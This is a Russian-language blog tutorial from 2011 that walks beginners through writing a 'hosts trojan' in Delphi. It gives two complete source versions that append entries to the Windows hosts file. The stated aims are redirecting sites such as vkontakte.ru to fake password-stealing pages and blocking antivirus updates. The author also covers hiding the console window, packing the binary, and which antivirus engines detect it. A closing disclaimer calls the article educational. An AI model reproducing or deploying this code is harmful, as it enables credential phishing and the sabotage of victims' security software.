Меню сайта
Категории раздела
Тобольск [0]
ТГСПА [0]
Delphi [40]
Basic [0]
Разное [4]
Радио
ЧАТ
200
Облако тегов
Облако фото
Форум
  • композитная арматура (0)
  • Справедливо ли это???? (1)
  • Недвижимость в Тюмени (1)
  • Качество услуг и обслуживания (2)
  • строительный эксперт (0)
  • гид по Греции (0)
  • винные туры по Италии (0)
  • деревянные лестницы (0)
  • гид по Италии (0)
  • Разные поздравления (1)
  • Главная » 2011 » Март » 19 » [Delphi] Trojan hosts
    21:40
    [Delphi] Trojan hosts
    Ну тут типо урок для начинающих в изучении дэльфи =))
    Это не есть самый идеальный Trojan hosts, но все же он работает.
    Сначало разберемся что это...
    Hosts - файл который лежит C:\WINDOWS\system32\drivers\etc\hosts - но говорят что в реестре мона поменять путь и пользы от трояна не будет, в этом файле лежат всякие ассоциации компьтера с адресами (ну мож не прально но я постарался более внятно обьяснить)
    например там стандартная строчка

    code:

    127.0.0.1 localhost
    она обозначает следующие - localhost считать как 127.0.0.1 - т.е при коннекте по адресу localhost нас переадресовывает на 127.0.0.1.
    Зачем пишут трояны которые редактирует hosts?
    Ну это используется преимущественно людьми которые используют фэйковые страницы для кражи паролей и вирусописателями - вирусмэйкеры или как там прально )))
    Зачем вирусописателями? - ну тут ответ прост, если прописать в hosts адреса обновлений антивирусника или файрвола и перенаправлять коннекты на 127.0.0.1 - антивирь / файрвол откажет в обновлении и оповестит об ошибке.

    Вот такая вот большая роль маленького файла )))

    Сегодня от нефиг делать, напишем свой, небольшой Trojan hosts - пока палица только какими то хитрожопыми антивирями
    Спойлер:
    a-squared 06/10/2010 5.0.0.20 Trojan.Peed!IK
    AVG 06/10/2010 9.0.0.725 Win32/DH.AA54534F48
    BitDefender 06/10/2010 7.0.0.2555 Gen:Trojan.Heur.DP.cOWbaWC7ZDl
    Comodo 06/10/2010 4.0 Heur.Packed.Unknown
    Ikarus T3 06/10/2010 1001084 Trojan.Peed


    Для начала придумаем алгоритм. Поидее троян должен открыть файл для чтения и добавить строчку - что то типо
    code:
    IP vkontakte.ru
    сохранить новый файл и закончить работу.

    ну что? приступим...
    Для начала создаем новый проект - File=>New=>Other=>Console Application.
    Видем что то типо
    html highlight:
    program Project1;

    {$APPTYPE CONSOLE}

    uses
    SysUtils;

    begin
    { TODO -oUser -cConsole Main : Insert code here }
    end.
    Уберем все лишнее
    html highlight:
    program Project1;

    //{$APPTYPE CONSOLE} убираем отображение консоли

    uses
    SysUtils; //стираем её, т.к. она нам нафиг не нужна

    begin
    { TODO -oUser -cConsole Main : Insert code here } //это можно затереть чтобы не мешалось
    end.
    получаем что то типо
    html highlight:
    program Project1;

    uses

    begin

    end.
    Кто изучал паскаль - вспоминаем, тут все просто, в uses подключаем Windows, Classes; по ходу работы буду пояснять зачем.

    Далее, нужно закинуть функцию нахождения WinDir - ведь винда может стоять не на С:/ а на D:/ или подобном.
    функция стыренная хз где выглядит так -
    html highlight:
    function sysdir: string;
    var
    f:array[0..255]of char;
    begin
    ExpandEnvironmentStrings('%WINDIR%',f,255);
    Result := f;
    end;
    именно для нее нужен модуль Windows
    записываем получаем что то типо

    html highlight:
    program Project1;

    uses
    Windows,
    Classes;

    function sysdir: string;
    var
    f:array[0..255]of char;
    begin
    ExpandEnvironmentStrings('%WINDIR%',f,255);
    Result := f;
    end;

    begin

    end.
    далее, мы можем открывать файл и писать в него так
    code:
    var host:TextFile;
    AssignFile(host, sysdir+'\system32\drivers\etc\hosts');
    ReWrite(host);
    Append(host);
    WriteLn(host,'');
    CloseFile(log);
    но мы же не ищем легких путей! поэтому используем TStringList
    обьявляем переменную host как TStringList -
    code:
    var host:TStringList;
    Далее мы должны создать этот лист, пишем после бегина
    code:
    host:=TStringList.Create;
    - так мы создаем стринг лист и он имеет формат что то типо
    code:
    000000
    11111
    22222
    т.е. мы можем добавлять в него прямо строчки host.Add('Текст'); а потом просто записывать! Но опять же мы не ищем легких путей! И для уверенности будем подгружать старый hosts
    мы делаем так
    code:
    host.LoadFromFile(pchar(sysdir+'\system32\drivers\etc\hosts'));
    к TStringList - можно обращаться как к TMemo, значит есть и фунцкия сохранения! SaveToFile
    вернемся к коду...
    и так... мы создали лист, подгрузили хостс и его содержимое, теперь надо добавить строчку, напоминаю это мы делаем так -
    code:
    host.Add('IP vkontakte.ru');
    и так...
    теперь содержимое хостс грузится в стринг лист и в него добавляется новая строчка! НО мы же не сохранили еще!
    это делаем так
    code:
    host.SaveToFile(pchar(sysdir+'\system32\drivers\etc\hosts'));
    Полный код Скрытый текст, требуется 0 сообщение(ий) (сейчас у вас 190):

    code:
    program Project1;
    uses
    Windows,
    Classes;

    function sysdir: string; //функция нахождения папки Windows
    var
    f:array[0..255]of char;
    begin
    ExpandEnvironmentStrings('%WINDIR%',f,255);
    Result := f;
    end;

    var host:TStringList; //переменная )))

    begin
    host:=TStringList.Create; //создание листа
    host.LoadFromFile(pchar(sysdir+'\system32\drivers\etc\hosts')); //подгрузка содержимого hosts
    host.Add('127.0.0.1 admin'); //добавление строки в лист
    host.SaveToFile(pchar(sysdir+'\system32\drivers\etc\hosts')); //сохранение
    end.


    После компиляции вес программы 85кб, а после сжатия ASPack - 43кб, а если сжимать PeCompact'ом вес - 39кб - но будет палиться многими антивирями как "Packed PeCompact"

    Метод 2.
    Вернемся к

    code:
    var host:TextFile;
    AssignFile(host, sysdir+'\system32\drivers\etc\hosts');
    ReWrite(host);
    Append(host);
    WriteLn(host,'');
    CloseFile(log);
    это еще более крутой метод, для него не надо модуль Classes - а значит вес понижается разы!
    Собственно обьявляем переменную
    code:
    var host:TextFile;
    Далее пишем после бегина
    code:
    AssignFile(host, pchar(sysdir+'\system32\drivers\etc\hosts')); //незнаю как правильно комментировать но что то типо этого //Назначаем файл как переменную host
    Append(host); //открываем
    WriteLn(host,'');//отступаем от старых записей
    WriteLn(host,'127.0.0.1 localhost'); //пишем новую строчку
    WriteLn(host,'IP localhost'); //пишем вторую строчку здесь можно использовать просто Write
    CloseFile(log); //закрываем
    исходный такойСкрытый текст, требуется 0 сообщение(ий) (сейчас у вас 190):

    code:
    program Project1;
    uses
    Windows;

    function sysdir: string;
    var
    f:array[0..255]of char;
    begin
    ExpandEnvironmentStrings('%WINDIR%',f,255);
    Result := f;
    end;

    var host:TextFile;
    begin

    AssignFile(host, pchar(sysdir+'\system32\drivers\etc\hosts'));
    Append(host);
    WriteLn(host,'');
    WriteLn(host,'127.0.0.1 localhost');
    Write(host,'IP localhost');
    CloseFile(host);
    end.



    Вес 16,5кб без сжатия, после сжатия ASPack - 15кб, PeCompact'ом - 11кб.
    Палицо a-squared,AVG,BitDefender,Ikarus T3.
    Статья написана в ознокомительных целях, все права за использования программы лежат на вас, и весь вред нанесенный программой - тоже на вас.




    Категория: Delphi | Просмотров: 1491 | Добавил: SeM | Рейтинг: 0.0/0
    Всего комментариев: 0
    Добавлять комментарии могут только зарегистрированные пользователи.
    [ Регистрация | Вход ]
    Поиск по сайту
    Календарь
    «  Март 2011  »
    ПнВтСрЧтПтСбВс
     123456
    78910111213
    14151617181920
    21222324252627
    28293031
    Новый Год
    Опрос
    Добавить на сайт?


    Всего ответов: 6
    Всего голосовало: 6
    Обсудить на форуме
    Друзья сайта
    измерьте скорость интернета Яндекс.Метрика
    Проверить тИЦ и PR
    Статистика
    Погода
    Яндекс.Погода
    Коменнтарии

    Извиняюсь, заработал. Спасибо за урок biggrin

    Компонент не работает

    Давайте помогу разобраться ? вы хотите что бы когда выбиралась станция сразу начинала проигрывать? скиньте исходник или как лучше связаться с вами?

    у меня все работает!

    Нифига не робит...
    Кто знает как сделать чтобы на жесткий жертвы сохранял..
    ISQ 606017777

    FSDGHDFJHRG


    Отзывы Фото
    6 микр. Красивое место....

    Ершов ))))

    Старый музей но щас его перенесли...

    Фотография под горы smile

    Красивое фото!!! smile

    Copyright MyCorp © 2024